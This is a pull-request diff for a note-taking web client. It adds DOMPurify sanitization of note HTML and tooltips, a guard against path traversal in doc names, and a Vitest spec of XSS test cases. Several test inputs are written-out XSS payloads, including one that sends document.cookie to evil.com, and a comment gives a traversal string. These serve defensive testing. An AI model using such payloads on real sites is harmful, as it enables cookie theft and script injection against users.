Skip to content
Open
Show file tree
Hide file tree
Changes from 3 commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions apps/client/package.json
Original file line number Diff line number Diff line change
Expand Up @@ -50,6 +50,7 @@
"clsx": "2.1.1",
"color": "5.0.3",
"debounce": "3.0.0",
"dompurify": "3.2.5",
"draggabilly": "3.0.0",
"force-graph": "1.51.2",
"globals": "17.4.0",
Expand Down
3 changes: 2 additions & 1 deletion apps/client/src/services/content_renderer_text.ts
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,7 @@ import froca from "./froca.js";
import link from "./link.js";
import { renderMathInElement } from "./math.js";
import { getMermaidConfig } from "./mermaid.js";
import { sanitizeNoteContentHtml } from "./sanitize_content.js";
import { formatCodeBlocks } from "./syntax_highlight.js";
import tree from "./tree.js";
import { isHtmlEmpty } from "./utils.js";
Expand All @@ -14,7 +15,7 @@ export default async function renderText(note: FNote | FAttachment, $renderedCon
const blob = await note.getBlob();

if (blob && !isHtmlEmpty(blob.content)) {
$renderedContent.append($('<div class="ck-content">').html(blob.content));
$renderedContent.append($('<div class="ck-content">').html(sanitizeNoteContentHtml(blob.content)));

const seenNoteIds = options.seenNoteIds ?? new Set<string>();
seenNoteIds.add("noteId" in note ? note.noteId : note.attachmentId);
Expand Down
34 changes: 34 additions & 0 deletions apps/client/src/services/doc_renderer.ts
Original file line number Diff line number Diff line change
Expand Up @@ -9,6 +9,15 @@ export default function renderDoc(note: FNote) {
const $content = $("<div>");

if (docName) {
// Sanitize docName to prevent path traversal attacks (e.g.,
// "../../../../api/notes/_malicious/open?x=" escaping doc_notes).
docName = sanitizeDocName(docName);
if (!docName) {
console.warn("Blocked potentially malicious docName attribute value.");
resolve($content);
return;
}

// find doc based on language
const url = getUrl(docName, getCurrentLanguage());
$content.load(url, async (response, status) => {
Expand Down Expand Up @@ -48,6 +57,31 @@ async function processContent(url: string, $content: JQuery<HTMLElement>) {
await applyReferenceLinks($content[0]);
}

function sanitizeDocName(docNameValue: string): string | null {
// Strip any path traversal sequences and dangerous URL characters.
// Legitimate docName values are simple paths like "User Guide/Topic" or
// "launchbar_intro" — they only contain alphanumeric chars, underscores,
// hyphens, spaces, and forward slashes for subdirectories.
// Reject values containing path traversal (../, ..\) or URL control
// characters (?, #, :, @) that could be used to escape the doc_notes
// directory or manipulate the resulting URL.
if (/\.\.|[?#:@\\]/.test(docNameValue)) {
return null;
}

// Remove any leading slashes to prevent absolute path construction.
docNameValue = docNameValue.replace(/^\/+/, "");

// After stripping, ensure only safe characters remain:
// alphanumeric, spaces, underscores, hyphens, forward slashes, and periods
// (periods are allowed for filenames but .. was already rejected above).
if (!/^[a-zA-Z0-9 _\-/.']+$/.test(docNameValue)) {
return null;
}
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

medium

The regex for validating docNameValue allows single quotes ('), but the comment above (lines 75-77) does not list it as an allowed character. This discrepancy can be misleading. For improved security and clarity, it's better to remove the single quote from the character set unless it's explicitly required for a known use case.

Suggested change
if (!/^[a-zA-Z0-9 _\-/.']+$/.test(docNameValue)) {
return null;
}
if (!/^[a-zA-Z0-9 _\-./]+$/.test(docNameValue)) {
return null;
}


return docNameValue;
}

function getUrl(docNameValue: string, language: string) {
// Cannot have spaces in the URL due to how JQuery.load works.
docNameValue = docNameValue.replaceAll(" ", "%20");
Expand Down
8 changes: 6 additions & 2 deletions apps/client/src/services/note_tooltip.ts
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,7 @@ import contentRenderer from "./content_renderer.js";
import froca from "./froca.js";
import { t } from "./i18n.js";
import linkService from "./link.js";
import { sanitizeNoteContentHtml } from "./sanitize_content.js";
import treeService from "./tree.js";
import utils from "./utils.js";

Expand Down Expand Up @@ -92,8 +93,9 @@ async function mouseEnterHandler<T>(this: HTMLElement, e: JQuery.TriggeredEvent<
return;
}

const html = `<div class="note-tooltip-content">${content}</div>`;
const tooltipClass = `tooltip-${ Math.floor(Math.random() * 999_999_999)}`;
const sanitizedContent = sanitizeNoteContentHtml(content);
const html = `<div class="note-tooltip-content">${sanitizedContent}</div>`;
const tooltipClass = `tooltip-${Math.floor(Math.random() * 999_999_999)}`;

// we need to check if we're still hovering over the element
// since the operation to get tooltip content was async, it is possible that
Expand All @@ -110,6 +112,8 @@ async function mouseEnterHandler<T>(this: HTMLElement, e: JQuery.TriggeredEvent<
title: html,
html: true,
template: `<div class="tooltip note-tooltip ${tooltipClass}" role="tooltip"><div class="arrow"></div><div class="tooltip-inner"></div></div>`,
// Content is pre-sanitized via DOMPurify so Bootstrap's built-in sanitizer
// (which is too aggressive for our rich-text content) can be disabled.
sanitize: false,
customClass: linkId
});
Expand Down
236 changes: 236 additions & 0 deletions apps/client/src/services/sanitize_content.spec.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,236 @@
import { describe, expect, it } from "vitest";
import { sanitizeNoteContentHtml } from "./sanitize_content";

describe("sanitizeNoteContentHtml", () => {
// --- Preserves legitimate CKEditor content ---

it("preserves basic rich text formatting", () => {
const html = '<p><strong>Bold</strong> and <em>italic</em> text</p>';
expect(sanitizeNoteContentHtml(html)).toBe(html);
});

it("preserves headings", () => {
const html = '<h1>Title</h1><h2>Subtitle</h2><h3>Section</h3>';
expect(sanitizeNoteContentHtml(html)).toBe(html);
});

it("preserves links with href", () => {
const html = '<a href="https://example.com">Link</a>';
expect(sanitizeNoteContentHtml(html)).toBe(html);
});

it("preserves internal note links with data attributes", () => {
const html = '<a class="reference-link" href="#root/abc123" data-note-path="root/abc123">My Note</a>';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain('class="reference-link"');
expect(result).toContain('href="#root/abc123"');
expect(result).toContain('data-note-path="root/abc123"');
expect(result).toContain(">My Note</a>");
});

it("preserves images with src", () => {
const html = '<img src="api/images/abc123/image.png" alt="test">';
expect(sanitizeNoteContentHtml(html)).toContain('src="api/images/abc123/image.png"');
});

it("preserves tables", () => {
const html = '<table><thead><tr><th>Header</th></tr></thead><tbody><tr><td>Cell</td></tr></tbody></table>';
expect(sanitizeNoteContentHtml(html)).toBe(html);
});

it("preserves code blocks", () => {
const html = '<pre><code class="language-javascript">const x = 1;</code></pre>';
expect(sanitizeNoteContentHtml(html)).toBe(html);
});

it("preserves include-note sections with data-note-id", () => {
const html = '<section class="include-note" data-note-id="abc123">&nbsp;</section>';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain('class="include-note"');
expect(result).toContain('data-note-id="abc123"');
expect(result).toContain("&nbsp;</section>");
});

it("preserves figure and figcaption", () => {
const html = '<figure><img src="test.png"><figcaption>Caption</figcaption></figure>';
expect(sanitizeNoteContentHtml(html)).toContain("<figure>");
expect(sanitizeNoteContentHtml(html)).toContain("<figcaption>");
});

it("preserves task list checkboxes", () => {
const html = '<ul><li><input type="checkbox" checked disabled>Task done</li></ul>';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain('type="checkbox"');
expect(result).toContain("checked");
});

it("preserves inline styles for colors", () => {
const html = '<span style="color: red;">Red text</span>';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain("style");
expect(result).toContain("color");
});

it("preserves data-* attributes", () => {
const html = '<div data-custom-attr="value" data-note-id="abc">Content</div>';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain('data-custom-attr="value"');
expect(result).toContain('data-note-id="abc"');
});

// --- Blocks XSS vectors ---

it("strips script tags", () => {
const html = '<p>Hello</p><script>alert("XSS")</script><p>World</p>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<script");
expect(result).not.toContain("alert");
expect(result).toContain("<p>Hello</p>");
expect(result).toContain("<p>World</p>");
});

it("strips onerror event handlers on images", () => {
const html = '<img src="x" onerror="alert(1)">';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onerror");
expect(result).not.toContain("alert");
});

it("strips onclick event handlers", () => {
const html = '<div onclick="alert(1)">Click me</div>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onclick");
expect(result).not.toContain("alert");
});

it("strips onload event handlers", () => {
const html = '<img src="x" onload="alert(1)">';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onload");
expect(result).not.toContain("alert");
});

it("strips onmouseover event handlers", () => {
const html = '<span onmouseover="alert(1)">Hover</span>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onmouseover");
expect(result).not.toContain("alert");
});

it("strips onfocus event handlers", () => {
const html = '<input onfocus="alert(1)" autofocus>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onfocus");
expect(result).not.toContain("alert");
});

it("strips javascript: URIs in href", () => {
const html = '<a href="javascript:alert(1)">Click</a>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("javascript:");
});

it("strips javascript: URIs in img src", () => {
const html = '<img src="javascript:alert(1)">';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("javascript:");
});

it("strips iframe tags", () => {
const html = '<iframe src="https://evil.com"></iframe>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<iframe");
});

it("strips object tags", () => {
const html = '<object data="evil.swf"></object>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<object");
});

it("strips embed tags", () => {
const html = '<embed src="evil.swf">';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<embed");
});

it("strips style tags", () => {
const html = '<style>body { background: url("javascript:alert(1)") }</style><p>Text</p>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<style");
expect(result).toContain("<p>Text</p>");
});

it("strips SVG with embedded script", () => {
const html = '<svg><script>alert(1)</script></svg>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<script");
expect(result).not.toContain("alert");
});

it("strips meta tags", () => {
const html = '<meta http-equiv="refresh" content="0;url=evil.com"><p>Text</p>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<meta");
});

it("strips base tags", () => {
const html = '<base href="https://evil.com/"><p>Text</p>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<base");
});

it("strips link tags", () => {
const html = '<link rel="stylesheet" href="evil.css"><p>Text</p>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<link");
});

// --- Edge cases ---

it("handles empty string", () => {
expect(sanitizeNoteContentHtml("")).toBe("");
});

it("handles null-like falsy values", () => {
expect(sanitizeNoteContentHtml(null as unknown as string)).toBe(null);
expect(sanitizeNoteContentHtml(undefined as unknown as string)).toBe(undefined);
});

it("handles nested XSS attempts", () => {
const html = '<div><p>Safe</p><img src=x onerror="fetch(\'https://evil.com/?c=\'+document.cookie)"><p>Also safe</p></div>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onerror");
expect(result).not.toContain("fetch");
expect(result).not.toContain("cookie");
expect(result).toContain("Safe");
expect(result).toContain("Also safe");
});

it("handles case-varied event handlers", () => {
const html = '<img src="x" ONERROR="alert(1)">';
const result = sanitizeNoteContentHtml(html);
expect(result.toLowerCase()).not.toContain("onerror");
});

it("strips dangerous data: URI on anchor elements", () => {
const html = '<a href="data:text/html,<script>alert(1)</script>">Click</a>';
const result = sanitizeNoteContentHtml(html);
// DOMPurify should either strip the href or remove the dangerous content
expect(result).not.toContain("<script");
expect(result).not.toContain("alert(1)");
});

it("allows data: URI on image elements", () => {
const html = '<img src="data:image/png;base64,iVBOR...">';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain("data:image/png");
});

it("strips template tags which could contain scripts", () => {
const html = '<template><script>alert(1)</script></template>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<script");
expect(result).not.toContain("<template");
});
});
Loading
Loading